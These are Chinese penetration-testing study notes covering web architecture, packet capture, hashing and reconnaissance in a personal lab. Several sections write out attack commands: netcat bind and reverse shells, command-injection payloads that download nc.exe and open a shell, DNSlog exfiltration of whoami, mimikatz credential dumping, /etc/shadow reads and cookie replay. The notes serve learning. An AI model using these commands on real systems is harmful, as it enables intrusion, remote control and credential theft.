小迪
新手来看小迪
这个只是记录本人需要做笔记和复现的,其他了解的就没做很详细
基础入门总思维导图
#知识点:
1、Web常规-系统&中间件&数据库&源码等
2、Web其他-集成软件&Docker容器&分配站等
分配站比如你在博客园申请开通博客后会给你一个不一样的域名
3、Web拓展-CDN&WAF&OSS&静态&负载均衡等
#章节点
应用架构:Web/APP/云应用/三方服务/负载均衡等
安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等
渗透命令:文件上传下载/端口服务/Shell反弹等
抓包技术:HTTP/TCP/UDP/ICMP/DNS/封包/代理等
算法加密:数据编码/密码算法/密码保护/反编译/加壳等

第2天:基础入门-Web架构_前后端分离站_Docker容器站_集成软件站_建站分配
#### 常规化
原理:源码数据都在同服务器
影响:无,常规安全测试手法
#### 站库分离:
原理:源码数据库不在同服务器
存储:其他服务器上数据库&云数据库产品
影响:数据被单独存放,能连接才可影响数据
#### 前后端分离
原理:前端JS框架(VUE),API传输数据
前台是一个网站js写的,后台是一个网站,数据通过API传输,前后台互不影响
是否搭建前后端分离还是要看业务需求的,太大的流量传输就不太符合。
影响:
1、前端页面大部分不存在漏洞
2、后端管理大部分不在同域名
3、获得权限有可能不影响后端
#### 宝塔+Phpstudy
原理:打包类集成化环境,权限配置或受控制
影响:攻击者权限对比区别
宝塔:文件管理,锁定目录,命令无法执行
phpstudy:可以执行命令,administrator权限,以administrator权限安装,软件继承安装权限
#### Docker容器
官网:[https://hub.docker.com/](https://hub.docker.com/)
原理:虚拟化技术独立磁盘空间,非真实物理环境。利用Docker技术拉取已经封装好的镜像,再还原
影响:攻击者虚拟空间磁盘,服务器构造一个虚拟空间给Docker应用,后门获取的空间是虚拟空间,不是物理机的实体空间。由此引发出Docker逃逸技术
#### 建站分配站
1.托管:利用平台建立自己的网站,比如[凡科建站](https://www.fkw.com/)
2.申请
原理:利用别人域名模版建立
影响:实质安全测试非目标资产
#### 静态Web
例子:大学学的html设计的网站
原理:数据没有传输性(js传输不算)
影响:无漏洞
#### 伪静态
动态转为静态技术,伪装的静态
权限差异
宝塔面板
命令不能执行
文件目录不能查看网站之外的
IIS网站
可以执行命令和查看文件目录
IIS Web服务器安装配置教程(图文)---IIS配置(win10) - pwindy - 博客园
phpstudy
部分可以部分不行
docker->tomcat
虽然可以执行命令和查看文件目录,但只是进入了容器内部,不是真正的,涉及到docker逃逸
第3天:基础入门-Web架构_OSS存储_负载均衡_CDN加速_反向代理_WAF防护
#### WAF
原理:Web应用防火墙,旨在提供保护
影响:常规Web安全测试手段会受到拦截
演示:免费D盾防护软件
Windows2012 + IIS +D盾
#### CDN
原理:内容分发服务,旨在提高访问速度
影响:隐藏真实源IP,导致对目标测试错误
演示:阿里云备案域名全局CDN加速服务
Windows2012 + BT宝塔面板 + CDN服务
CDN加速:
准备好备案域名
域名和IP绑定
配置CDN加速选项
添加DNS CNAME记录
等待
超级ping:[https://www.itdog.cn/ping/](https://www.itdog.cn/ping/)
#### OSS
原理:云存储服务,旨在提高访问速度
演示:[https://cloudreve.org/](https://cloudreve.org/)
Windows2012 + cloudreve + 阿里云OSS
[https://github.com/cloudreve/Cloudreve/releases/tag/3.7.1](https://github.com/cloudreve/Cloudreve/releases/tag/3.7.1)
1、启动应用
2、登录管理
3、配置存储信息
4、更改用户组存储属性
阿里云OSS:
开OSS
2、新建Bucket
3、配置Bucket属性
4、配置Access访问
原理:
为什么要使用第三方存储?
1)静态文件会占用大量带宽
2)加载速度
3)存储空间
影响:
上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复上传安全
2、文件解析不一样
3、但Accesskey隐患
#### 反向代理
正向:我找你 反向:你找我
正代理:为客户端服务,客户端主动建立代理访问目标(不代理不可达)
在客户端操作,所以没有影响
反向代理:为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
网站设置反向代理,xxx.com→baidu.com xxx.com\b→bilibili.com 网址是xxx.com 内容是其他
原理:通过网络反向代理转发真实服务达到访问目的
影响:访问目标只是一个代理,非真实应用服务器
注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!
演示:Nginx反向代理配置
Windows2012 + BT宝塔面板 + Nginx
#### 负载均衡
原理:分摊到多个操作单元上进行执行,共同完成工作任务
影响:有多个服务器加载服务,测试过程中存在多个目标情况
演示:Nginx负载均衡配置
Windows2012 + BT宝塔面板 + Nginx
和CDN的区别:负载均衡的服务器是真实的服务器,找到主服务器,CDN是虚假的
定义负载设置
`upstream fzjh{`
`server 47.94.236.117:80 weight=2;`
`server 47.122.22.195:80 weight=1;`
`}`
`定义访问路径 访问策略`
`location / {`
`proxy_pass http://fzjh/;`
`}`
WAF
防护网站防止被攻击,有绕过手段但也不是所有的waf都能绕过
例:D盾
CDN
节点,每个地方去访问一个网站可能都不是同一个ip,需要我们找到真正的ip地址
OSS
存储用的,文件上传不会解析所以没有文件上传漏洞,但是有accesskey漏洞安全问题
反向代理
访问的目标只是一个代理,不是真正的服务器
负载均衡
一个服务器分好几个,存在多个目标
第4天:基础入门-APP架构_小程序_H5+Vue语言_Web封装_原生开发_Flutter
web
ShopXO源码程序+一门app打包
常规web测试
APP
宝塔一键部署

网站目录设置为/www/wwwroot/akaashitest1.com/public

小程序
原生开发
全程自己编写,更复杂但是功能和分类更多更好
反编译加抓包
常规的apk包,可以放jadx查看源码
H5
html5开发的
HBuilderX搭建,这个需要去注册一个微信小程序账号和下载微信开发者工具
小程序
新建项目

名称,目录还有模板

记得写上id还有基础配置里面的id获取

右键点击 uniCloud 文件夹,点击“关联云服务空间或项目”

点新建

到界面后新建按操作买免费的就好了

右键发行小程序-微信

微信开发者服务端口记得打开,设置->安全设置->服务端口


*APP
HbuilderX打包app,Hbuilder怎么打包app,H5打包成app,H5怎么打包成app-CSDN博客
第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载
文件上传下载
虚拟机在要下载的文件目录下面打开cmd
并且执行:
python -m http.server 8000
这会让虚拟机成为一个 web 服务器

棱角社区生成命令

找到命令
certutil.exe -urlcache -split -f http://172.22.173.181:8000/1.txt 1.txt
主机执行

文件下载完成
Linux也是一样的
curl http://172.22.173.181:8000/1.txt -o 1.txt

反弹shell
正向连接:本地监听等待对方连接让对方操作本地
kali:172.22.161.122
windows:172.22.173.181
Linux->Windows
nc -e cmd -lvvp 5566
| 参数 | 含义 |
|---|---|
nc |
Netcat 命令行工具(功能强大的 TCP/UDP 网络调试工具) |
-e cmd |
执行 cmd.exe(Windows 的命令行),把这个 shell 接入 socket 连接 |
-l |
监听模式(listen) |
-v |
显示详细信息(verbose) |
-v(重复) |
更详细(very verbose) |
-p 5566 |
在本地 5566 端口监听 |
绑定cmd到本地5566端口
nc -e cmd -lvvp 5566

kali用nc进行连接

可以发现到了win10的c盘下面
windows->Linux
需要先查看kali开放了哪些端口
sudo ufw status

绑定sh
nc -e /bin/sh -lvp 80

win10监听
nc 172.22.161.122 80

反向连接:先监听,等对方绑定端口后操作对方
Windows->Linux
win10先监听5566端口
nc -lvp 5566

kali把自己的sh绑定到win10端口上
nc -e /bin/sh 172.22.173.181 5566

win10操作kali的终端:

Linux->windows
kali监听端口
nc -lvp 80

win10的cmd绑定到kali的端口
nc -e cmd 172.22.161.122 80
kali操作win10

内外网
外->内
外网的一台计算机要控制内网的一台计算机,需要内网的去找外网的,也就是反向连接
因为外网的ip是全球唯一的,外网去找内网找到的是内网出去的,再下去内网找就找不到那个具体的
需要外网的先监听,然后内网的把cmd绑到外网的端口上让外网进行操作

内->外
这个就可以直接用正向连接,在外网把自己的cmd绑定到端口,内网直接nc连接端口
因为外网的ip是唯一的,内网连接的那个就是特定的外网
防火墙绕过-正向连接&反向连接&内网服务器
管道符:
| (管道符号)
||(逻辑或)
&&(逻辑与)
&(后台任务符号)
Windows->
| & || &&
Linux->
; | || & && ``(特有``和;)
例子: ping -c 1 127.0.0.1 ; whoami


或者是直接不要127.0.0.1,直接在ping后面加上想要执行的命令

只有
``和;适用
pikachu靶场示例
127.0.0.1 | whoami

确定了是windows之后利用文件下载命令讲nc下载到目标机上面,C盘
这里需要在nc机上开启web服务,注意需要在nc目录下面执行
python -m http.server 80

127.0.0.1 | certutil.exe -urlcache -split -f http://172.22.165.20:80/nc.exe c:\\nc.exe
可以看到目标机成功下载了nc


再利用反向连接让目标机把cmd绑定到我们端口
nc -lvp 4444
127.0.0.1 | c:\\nc.exe -e cmd 172.22.165.20 4444
可以看到成功连接

常用监听端口推荐
| 端口号 | 用途说明 | 是否推荐 | 备注 |
|---|---|---|---|
| 4444 | 渗透测试和反弹 shell 的惯用端口 | ✅ 强烈推荐 | 默认推荐,无需权限 |
| 1234 | 常用调试 / Netcat 默认演示 | ✅ 推荐 | 使用广泛 |
| 8888 | 用于调试 / 代理服务端口 | ✅ 推荐 | 通常未被防火墙拦截 |
| 8080 | Web服务调试端口 | ✅ 推荐 | 常用于反弹 HTTP shell |
| 53 | DNS 端口,绕过限制时可用 | ⚠️ 可用但需注意 | 某些环境绕过防火墙 |
| 21 / 22 / 80 / 443 | 模拟 FTP / SSH / HTTP / HTTPS | ⚠️ 仅在特定防火墙策略下用 | 有时可用来绕过防 |
防火墙
入站和出战
入站就是检查进来的流量,出战就是检查出去的流量
当入站被限制,比如端口被禁用了,那么就需要反向连接,把控制权给出去
当出战被限制了那就用正向连接
入站限制




没回显
解决方法:
带外回显
ping j0ve3d.dnslog.cn
ping `whoami`.j0ve3d.dnslog.cn


可以看到回显记录,但是这个只能linux适用,在windows里面我们需要用到powershell
powershell
$x=whoami;
$xx=$x.replace('\','xxxx');
$y='.j0ve3d.dnslog.cn';
$z=$xx+$y;
echo $z;
ping $z;
| 问题 | 答案 |
|---|---|
为什么要替换 \? |
因为 DNS 域名不允许使用 \ 这样的非法字符 |
替换成 xxxx 是必须的吗? |
❌ 不是必须,只是一个例子 |
| 可以替换成别的字符串吗? | ✅ 可以,只要是 DNS 合法字符就行,比如 -, _, abc |
| 替换不做会怎么样? | ❌ ping 命令会失败,域名无效,dnslog 不会收到请求 |


这里把pikachu靶场的回显关闭
找到文件\phpstudy_pro\WWW\pikachu\vul\rce\rce_ping.php

再去输入就没有回显了,在输入框输入:
127.0.0.1 | powershell $x=whoami;$xx=$x.replace('\','xxxx');$y='.n94843.dnslog.cn';$z=$xx+$y;ping $z;
记录:

回显成功
反弹shell
就是之前一样的方法
第6天:基础入门-抓包技术&HTTPS协议&APP&小程序&PC应用&WEB&转发联动
bp在模拟器安装证书
settings导出证书


选择保存位置,保存位bp.cer
模拟器打开共享文件夹

选择证书所在目录之后点下面的安卓小人就可以看到目录了
在模拟器找到设置->网络和互联网->WLAN->WLAN偏好设置->高级->安装证书,找到我们之前的目录选择bp.cer进行安安装就好了
Charles发送包到bp
Charles把包发送到bp


之后的微信小程序抓包就通过用charles抓包然后发送到bp进行查看
或者本地开启了系统代理也可以抓包送到bp
利用 Proxifier转发bp对pc的软件进行抓包
Burpsuite+Proxifier抓取exe数据包 - websec80 - 博客园
设置代理规则来抓特定程序的包
第7天:基础入门-抓包技术&全局协议&封包监听&网卡模式&APP&小程序&PC应用
除http和https以外的协议抓包
比如模拟器游戏,小程序游戏
用科来或者wireshark抓本地
科来
选择正在使用的网卡

开始监听抓包
微信小游戏


可以看到抓到了
模拟器游戏
科来是一样的操作,打开模拟器游戏


也是抓到了的

pc的app
监听正在使用的网卡,打开pc的app

可以看到ip和ip的地理位置
数据包分析
用科来就是来抓除开http和https之外的协议,所以bp不支持,只能用科来自带的生成器进行分析




封包工具
选择进程

开始监听之后就会开始抓包,点一个地方,只要有刷新出来新的东西就会有新的数据包
封包工具只能在模拟器的app里面可以抓到,其他的不行
渗透测试
抓包得到应用的资产信息-IP,域名等
利用IP和域名上的服务器做测试(
web web攻防
端口-数据库 第三方软件等 其他服务攻防
)
API接口 oss资源-云安全
逆向破解
反编译源码中去找资产信息 -> 渗透测试,后面与渗透测试一致
源码中泄露的key,去测试安全性
逆向,代码和产品的设计逻辑安全(不规范加密,可以绕过的策略,自己删除验证重打包绕过验证等)
第8天:基础入门-算法分析&传输加密&数据格式&密文存储&代码混淆&逆向保护
数据传输不是简单的明文传输,有时候会做编码加密
在做测试的时候收集到的是编码加密过的的话,后续进行测试,payload也需要进行相同的编码
常见的传输格式
json&xml
密码加密
zzzcms演示
用phpstudy搭建zzzcms,用Navicat连接本地数据库查看用户
在pre_ucenter_members表里面

可以发现有盐值

md5+salt
Discuz3.2演示
也是在phpstudy搭建


也是md5加密
DIscuz3.5演示

这里的密文就不是简单的md5加密了,bcrypt 哈希加密(不是可逆加密,而是哈希)
Bcrypt 哈希的结构一般是这样的:
$2y$10$OgIP9HbdJlqXY6XrK6y7oOQ0pGyhJDqypor1jTHGOfhNxJbXNNY9q
└┬┘ └┬┘ └─────────────┬────────────────────────────────────┘
│ │ Salt + 密文部分(base64编码)
│ └─ 工作因子(cost factor),即加密轮数是 2^10 = 1024
└─ 哈希标志($2y 是 bcrypt 的一种变体)
$2y$:标志使用的是 bcrypt 算法的一种版本(其他版本还包括 $2a$、$2b$ 等)。
10:cost factor,表示计算复杂度,数字越大越慢、更安全。
剩余部分是用 bcrypt 算法生成的哈希值,包含 salt 和密码的哈希值。
windows
mimikatz工具查看
启动
privilege::debug
提升 Mimikatz 的权限,使其能够访问某些受保护的进程和内存区域
sekurlsa::logonpasswords full
用于提取当前系统中所有用户的登录凭证信息,包括明文密码、密码哈希、Kerberos 票据等

这里可以看到这些
msv :
- MSV(MSV1_0)模块是 Windows 的 NTLM 认证模块。
- 这是最常见的凭据类型,尤其是本地登录或远程桌面登录(RDP)后。
pgsql复制编辑[00000003] Primary <-- 表示是一个主登录会话(LogonSession ID)
* Username : Administrator <-- 当前用户
* Domain : WIN-AGPMHM94DDK <-- 所属域(或主机名)
* NTLM : 4b34f009686328c43587b910abc49ec7 <-- NTLM 哈希(可用于横向移动)
* SHA1 : 0fa08b4a9efd07e05288d89761d92d598acbb62b <-- SHA1版本的密码哈希
* DPAPI : 0fa08b4a9efd07e05288d89761d92d59 <-- 用于解密受保护数据(如浏览器密码)
✅ 最关键的是 NTLM 哈希,可以用于 Pass-the-Hash(PTH)攻击。
4b34f009686328c43587b910abc49ec7
可以拿去md5解密
linux
cat /etc/shadow
查看shadow文件

源码加密
php文件演示
网站目录下的1.php写入:
<?php phpinfo();?>
访问

对1.php文件进行加密变成
<?php
//Obfuscate by https://uutool.cn/php/
phpinfo();
访问和之前的一样界面
jsfuck

第9天:基础入门-算法逆向&散列对称非对称&JS源码逆向&AES&DES&RSA&SHA
我自己整理的一些编码合集:目前遇到过的编码 - Anaxa - 博客园
安全测试中:
密文-有源码直接看源码分析算法(后端必须要有源码才能彻底知道)
密文-没有源码1、猜识别 2、看前端JS(加密逻辑是不是在前端)
#算法加密-概念&分类&类型
1. 单向散列加密 -MD5
单向散列加密算法的优点有(以MD5为例):
方便存储,损耗低:加密/加密对于性能的损耗微乎其微。
单向散列加密的缺点就是存在暴力破解的可能性,最好通过加盐值的方式提高安全性,此外可能存在散列冲突。我们都知道MD5加密也是可以破解的。
常见的单向散列加密算法有:
MD5 SHA MAC CRC
2. 对称加密 -AES
对称加密优点是算法公开、计算量小、加密速度快、加密效率高。
缺点是发送方和接收方必须商定好密钥,然后使双方都能保存好密钥,密钥管理成为双方的负担。
常见的对称加密算法有:
DES AES RC4
3. 非对称加密 -RSA
非对称加密的优点是与对称加密相比,安全性更好,加解密需要不同的密钥,公钥和私钥都可进行相互的加解密。
缺点是加密和解密花费时间长、速度慢,只适合对少量数据进行加密。
常见的非对称加密算法:
RSA RSA2 PKCS
#加密解密-识别特征&解密条件
MD5密文特点:
1、由数字“0-9”和字母“a-f”所组成的字符串
2、固定的位数 16 和 32位
解密需求:密文即可,但复杂明文可能解不出
BASE64编码特点:
0、大小写区分,通过数字和字母的组合
1、一般情况下密文尾部都会有两个等号,明文很少的时候则没有
2、明文越长密文越长,一般不会出现"/""+"在密文中
AES、DES密文特点:
同BASE64基本类似,但一般会出现"/"和"+"在密文中
解密需求:密文,模式,加密Key,偏移量,条件满足才可解出
RSA密文特点:
特征同AES,DES相似,但是长度较长
解密需求:密文,公钥或私钥即可解出
其他密文特点见:
1.30余种加密编码类型的密文特征分析(建议收藏)
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026#rd
2.CTF中常见密码题解密网站总结(建议收藏)
https://blog.csdn.net/qq_41638851/article/details/100526839
3.CTF密码学常见加密解密总结(建议收藏)
https://blog.csdn.net/qq_40837276/article/details/83080460
#解密实例-密文存储&数据传输
1、密码存储(后端处理)
X3.2-md5&salt
DZ对应代码段-/uc_server/model/user.php
function add_user() {
$password = md5(md5($password).$salt);
}
<?PHP
$h = 'd7192407bb4bfc83d28f374b6812fbcd';
$hash=md5(md5('123456').'3946d5');
if($h==$hash){
echo 'ok';
}else{
echo 'no';
}
?>
X3.5-hash
DZ对应代码段-/uc_server/model/user.php
function add_user() {
$salt = '';
$password = $this->generate_password($password);
}
function generate_password($password) {
$algo = $this->get_passwordalgo();
$options = $this->get_passwordoptions();
$hash = password_hash($password, $algo, $options);
}
<?PHP
$hash = '$2y$10$KA.7VYVheqod8F3X65tWjO3ZXfozNA2fC4oIZoDSu/TbfgKmiw7xO';
if (password_verify('123456', $hash)) {
echo 'ok';
} else {
echo 'error';
}
?>
2、数据通讯
-博客登录-zblog(前端处理)
<script src="script/md5.js" type="text/javascript"></script>
$("#btnPost").click(function(){
var strPassWord=$("#edtPassWord").val();
$("form").attr("action","cmd.php?act=verify");
$("#password").val(MD5(strPassWord));
第10天:基础入门-HTTP数据包&Postman构造&请求方法&请求头修改&状态码判断

request

response



#数据-方法&头部&状态码
-方法
1、常规请求-Get
2、用户登录-Post
•get:向特定资源发出请求(请求指定页面信息,并返回实体主体);
•post:向指定资源提交数据进行处理请求(提交表单、上传文件),又可能导致新的资
源的建立或原有资源的修改;
•head:与服务器索与 get 请求一致的相应,响应体不会返回,获取包含在小消息头中
的原信息(与 get 请求类
似,返回的响应中没有具体内容,用于获取报头);
•put:向指定资源位置上上传其最新内容(从客户端向服务器传送的数据取代指定文档
的内容),与 post 的区别是 put 为幂等,post 为非幂等;
•trace:回显服务器收到的请求,用于测试和诊断。trace 是 http8 种请求方式之中
最安全的 l
•delete:请求服务器删除 request-URL 所标示的资源*(请求服务器删除页面)
•option:返回服务器针对特定资源所支持的 HTML 请求方法 或 web 服务器发送*测试
服务器功能(允许客户 端查看服务器性能);
•connect : HTTP/1.1 协议中能够将连接改为管道方式的代理服务器
-参数
演示:
1、UA 头-设备平台
2、Cookie-身份替换
-Response 状态码
1、数据是否正常
2、文件是否存在
3、地址自动跳转
4、服务提供错误
注:容错处理识别
•-1xx:指示信息—表示请求已接收,继续处理。
•-2xx:成功—表示请求已经被成功接收、理解、接受。
•-3xx:重定向—要完成请求必须进行更进一步的操作。
•-4xx:客户端错误—请求有语法错误或请求无法实现。
•-5xx:服务器端错误—服务器未能实现合法的请求。
•200 OK:客户端请求成功
•301 redirect:页面永久性移走,服务器进行重定向跳转;
电脑浏览器和模拟器中的浏览器
电脑


模拟器


把手机的发送到电脑,显示为手机界面格式

在模拟器抓的包用电脑去访问和在模拟器显示的数据是不一样的:
电脑显示的

模拟器显示的

cookie
当之前在这个网站保存或者登录过的,在下一次再次访问的时候会直接自动登录
这个浏览器已经登录了后台

后面再次访问这个网站也是直接登录,但是相同的地址其他浏览器访问就会显示没登陆

没登陆抓的包
GET /admin.php HTTP/1.1
Host: discuz5:4509
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 9; ASUS_I005DA Build/PI) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.70 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Lfnr_2132_saltkey=qycs0ttw; Lfnr_2132_lastvisit=1749042692; Lfnr_2132_sid=GIuGGZ; Lfnr_2132_lastact=1749046292%09admin.php%09; Lfnr_2132_darkmode=la
Connection: close
登录之后抓的包
GET /admin.php HTTP/1.1
Host: discuz5:4509
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Lfnr_2132_saltkey=EOHYq0Iw; Lfnr_2132_lastvisit=1749042579; Lfnr_2132_sid=l9Qqoj; Lfnr_2132_lastact=1749046255%09admin.php%09; Lfnr_2132_darkmode=la; Lfnr_2132_sendmail=1; Lfnr_2132_seccodecSl9Qqoj=3.eb941eabda012ea4ff; Lfnr_2132_ulastactivity=4c195O8tviIP1b9nvGXyL3qzXE5xC7uyZyTjirExQ7QYqIjtkPHO; Lfnr_2132_auth=c39dYhv9ec1xLeFnr2b12HQXB3eHk5M3uYHrmrWB7Wx15euxZ1BXFHoTIOQLlSsI1yrafRq2s%2FZhzhAbqlOi; Lfnr_2132_lastcheckfeed=1%7C1749046246; Lfnr_2132_checkfollow=1; Lfnr_2132_lip=127.0.0.1%2C1749046118
Upgrade-Insecure-Requests: 1
Priority: u=0, i
可以发现Cookie不一样,登录过的Cookie多了很多东西,我们把登陆过的Cookie放进没登陆的之后放包

可以发现没登陆的这里也是直接显示登录了
状态码
根据文件判断:
200 文件存在
404 文件不存在
403 文件夹存在
500 可能存在可能不存在
3xx 可能存在可能不存在
- 容错处理 网站访问错误就自动跳转到某个页面 不存在
- 访问某个文件 自动触发跳转 存在
网站根目录

访问index.php,301

admin.php,200

abc.php,404

api文件夹,403

bp对路径进行爆破
先抓一个包

发送到Intruder,选中路径,clear之后点add

点load把字典放进去,然后开始爆破

看结果

通过状态码来判断文件是否存在
御剑后台扫描
自动化

登录包既有明文又有密文
这种的需要我们密文正确才可以登录
Postman
类似于hackbar(个人感觉)
信息打点总思维导图
#章节点
Web:语言/CMS/中间件/数据库/系统/WAF 等
系统:操作系统/端口服务/网络环境/防火墙等
应用:APP 对象/API 接口/微信小程序/PC 应用等
架构:CDN/前后端/云应用/站库分离/OSS 资源等
技术:JS 爬虫/敏感扫描/目录爬虫/源码获取/接口泄漏等
技术:指纹识别/端口扫描/CDN 绕过/WAF 识别/Github 监控等

第12天:信息打点-Web应用&企业产权&指纹识别&域名资产&网络空间&威胁情报
企业查询
企业信息 小蓝本 https://www.xiaolanben.com/
企业信息 爱企查 https://aiqicha.baidu.com/
我们主要关注网址和知识产权里面的app和微信公众号


备案查询
备案信息 备案管理系统 https://beian.miit.gov.cn/


用这个查是因为可能用企业查询查到不一样的,就是更加全面的搜集信息
域名查询
注册域名 域名注册查询 https://buy.cloud.tencent.com/domain


可以看到很多都被注册了,我们可以通过这些域名去找目标企业的网址
IP地址反查
IP 反查 IP 反查域名 https://x.threatbook.cn/

通过ip来查域名
证书查询
baidu.com的证书

tieba.baidu.com的证书

可以发现证书都是一样的
通过看证书来看哪些网站用过子域名
证书查询 CertificateSearch https://crt.sh/

用网站查看证书可以找到我们之前可能没有收集到的新域名,比如说:


DNS记录
DNS 数据 dnsdumpster https://dnsdumpster.com/

1. A记录 (Address Record)
- 绿色圈“A”表示:A记录。
- 它把域名(如
longi.com)解析为对应IP地址。 - 图中:
longi.com → 52.80.140.42(这台服务器托管在北京 Amazon AWS)
2. MX记录 (Mail Exchange Record)
- 蓝色圈“MX”表示:MX记录。
- 这是邮件交换记录,定义了接收该域邮件的服务器。
- 图中显示:
mdn.corpemail.netlongigroup-com.corpsmtp.cnmdn.corp-email.cn
这些是longi.com域名用于接收邮件的服务器。
3. 其他DNS信息
- DNS服务器(NS记录):
- 比如
vip4.alidns.com是 longi.com 的 DNS 服务器,属于阿里云。
- 比如
- 相关IP与提供商信息:
- 比如
52.80.140.42是 AWS 北京机房(ASN: 59680)。 170.33.40.137属于新加坡Cloud(AS134963)。192.241.207.6和178.62.221.58是 DigitalOcean 的IP。23.91.98.8属于香港UCloud。
- 比如
4. 连接关系
- 图中箭头表示解析或依赖关系:
- 比如邮件服务器
mdn.corp-email.cn解析到了某个IP。 longigroup-com.corpsmtp.cn也解析到了具体IP。
- 比如邮件服务器
网络空间
网络空间 FOFA https://fofa.info/
网络空间 全球鹰 http://hunter.qianxin.com/
网络空间 360 https://quake.360.cn/quake/
fofa
查看语法

根域名进行查询:


可以看到网址和端口
全球鹰


360

枚举解析
枚举解析 DNSGrep 子域名查询 https://www.dnsgrep.cn/subdomain


OneForAll
命令:
python oneforall.py --target xiaodi8.com run
或者批量的:
python oneforall.py --target 1.txt run
1.txt里面就是多个域名批量解析
得到的结果:



指纹识别
指纹识别 TideFinger 潮汐 http://finger.tidesec.net/
wappalyzer
插件,国外工具

CMSMap
CMSeek
标签 名称 地址
企业信息 天眼查 https://www.tianyancha.com/
企业信息 小蓝本 https://www.xiaolanben.com/
企业信息 爱企查 https://aiqicha.baidu.com/
企业信息 企查查 https://www.qcc.com/
企业信息 国外企查 https://opencorporates.com/
企业信息 启信宝 https://www.qixin.com/
备案信息 备案信息查询 http://www.beianx.cn/
备案信息 备案管理系统 https://beian.miit.gov.cn/
公众号信息 搜狗微信搜索 https://weixin.sogou.com/
注册域名 域名注册查询 https://buy.cloud.tencent.com/domain
IP 反查 IP 反查域名 https://x.threatbook.cn/
IP 反查 IP 反查域名 http://dns.bugscaner.com/
标签 名称 地址
DNS 数据 dnsdumpster https://dnsdumpster.com/
证书查询 CertificateSearch https://crt.sh/
网络空间 FOFA https://fofa.info/
网络空间 全球鹰 http://hunter.qianxin.com/
网络空间 360 https://quake.360.cn/quake/
威胁情报 微步在线 情报社区 https://x.threatbook.cn/
威胁情报 奇安信 威胁情报中心 https://ti.qianxin.com/
威胁情报 360 威胁情报中心 https://ti.360.cn/#/homepage
枚举解析 在线子域名查询 http://tools.bugscaner.com/subdomain/
枚举解析 DNSGrep 子域名查询 https://www.dnsgrep.cn/subdomain
枚举解析 工具强大的子域名收集器 https://github.com/shmilylty/OneForAll
标签 名称 地址
指纹识别 在线 cms 指纹识别 http://whatweb.bugscaner.com/look/
指纹识别 Wappalyzer https://github.com/AliasIO/wappalyzer
指纹识别 TideFinger 潮汐 http://finger.tidesec.net/
指纹识别 云悉指纹 https://www.yunsee.cn/
指纹识别 WhatWeb https://github.com/urbanadventurer/WhatWeb
指纹识别 数字观星 Finger-P https://fp.shuziguanxing.com/#/
标签 名称 地址
网络空间 钟馗之眼 https://www.zoomeye.org/
网络空间 零零信安 https://0.zone/
网络空间 Shodan https://www.shodan.io/
网络空间 Censys https://censys.io/
网络空间 ONYPHE https://www.onyphe.io/
网络空间 FullHunt https://fullhunt.io/
网络空间 Soall Search Engine https://soall.org/
网络空间 Netlas https://app.netlas.io/responses/
网络空间 Leakix https://leakix.net/
网络空间 DorkSearch https://dorksearch.com/
威胁情报 VirusTotal 在线查杀平台 https://www.virustotal.com/gui/
威胁情报 VenusEye 威胁情报中心 https://www.venuseye.com.cn/
威胁情报 绿盟科技 威胁情报云 https://ti.nsfocus.com/
威胁情报 IBM 情报中心 https://exchange.xforce.ibmcloud.com/
威胁情报 天际友盟安全智能平台 https://redqueen.tj-un.com
威胁情报 华为安全中心平台 https://isecurity.huawei.com/sec
威胁情报 安恒威胁情报中心 https://ti.dbappsecurity.com.cn/
威胁情报 AlienVault https://otx.alienvault.com/
威胁情报 深信服 https://sec.sangfor.com.cn/
威胁情报 丁爸情报分析师的工具箱 http://dingba.top/
威胁情报 听风者情报源 start.me https://start.me/p/X20Apn
威胁情报 GreyNoise Visualizer https://viz.greynoise.io/
威胁情报 URLhaus 数据库 https://urlhaus.abuse.ch/browse/
威胁情报 Pithus https://beta.pithus.org/
第13天:信息打点-Web应用&源码泄漏&开源闭源&指纹识别&GIT&SVN&DS&备份
指纹查询


这里其实最重要的就是看cms的信息的,但是不知道为啥我这个不显示,是z-blogs
我们去找源码下载,我们知道编程语言是php所以选择php的

会发现有这么一些文件和目录

我们试着访问zb_system

会发现返回了这个,可以知道这个文件目录是存在的,zb_users也是

所以大概就知道这个网站用的就是这套源码
源码泄露
备份
网站管理员在备份网站源码的时候可能会把整个源码打包成一个压缩包放在网站目录下面,这个时候用扫描工具去扫就可能会扫到,下载之后就得到了整套源码

扫描
git 源码泄露
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码
我们在网站目录后面加上.git来查看是否有着目录
漏洞利用工具:GitHack
github项目地址:https://github.com/lijiejie/GitHack
用法示例:
GitHack.py http://www.openssl.org/.git/
利用这个我们可以把网站源码下载下来查看
SVN 源码泄露
也是在后面加.svn看是否有这个目录
漏洞利用工具:Seay SVN漏洞利用工具
DS_Store 文件泄露
.DS_Store是Mac下Finder用来保存如何展示 文件/文件夹 的数据文件,每个文件夹下对应一个。如果将.DS_Store上传部署到服务器,可能造成文件目录结构泄漏,特别是备份文件、源代码文件
漏洞利用工具:
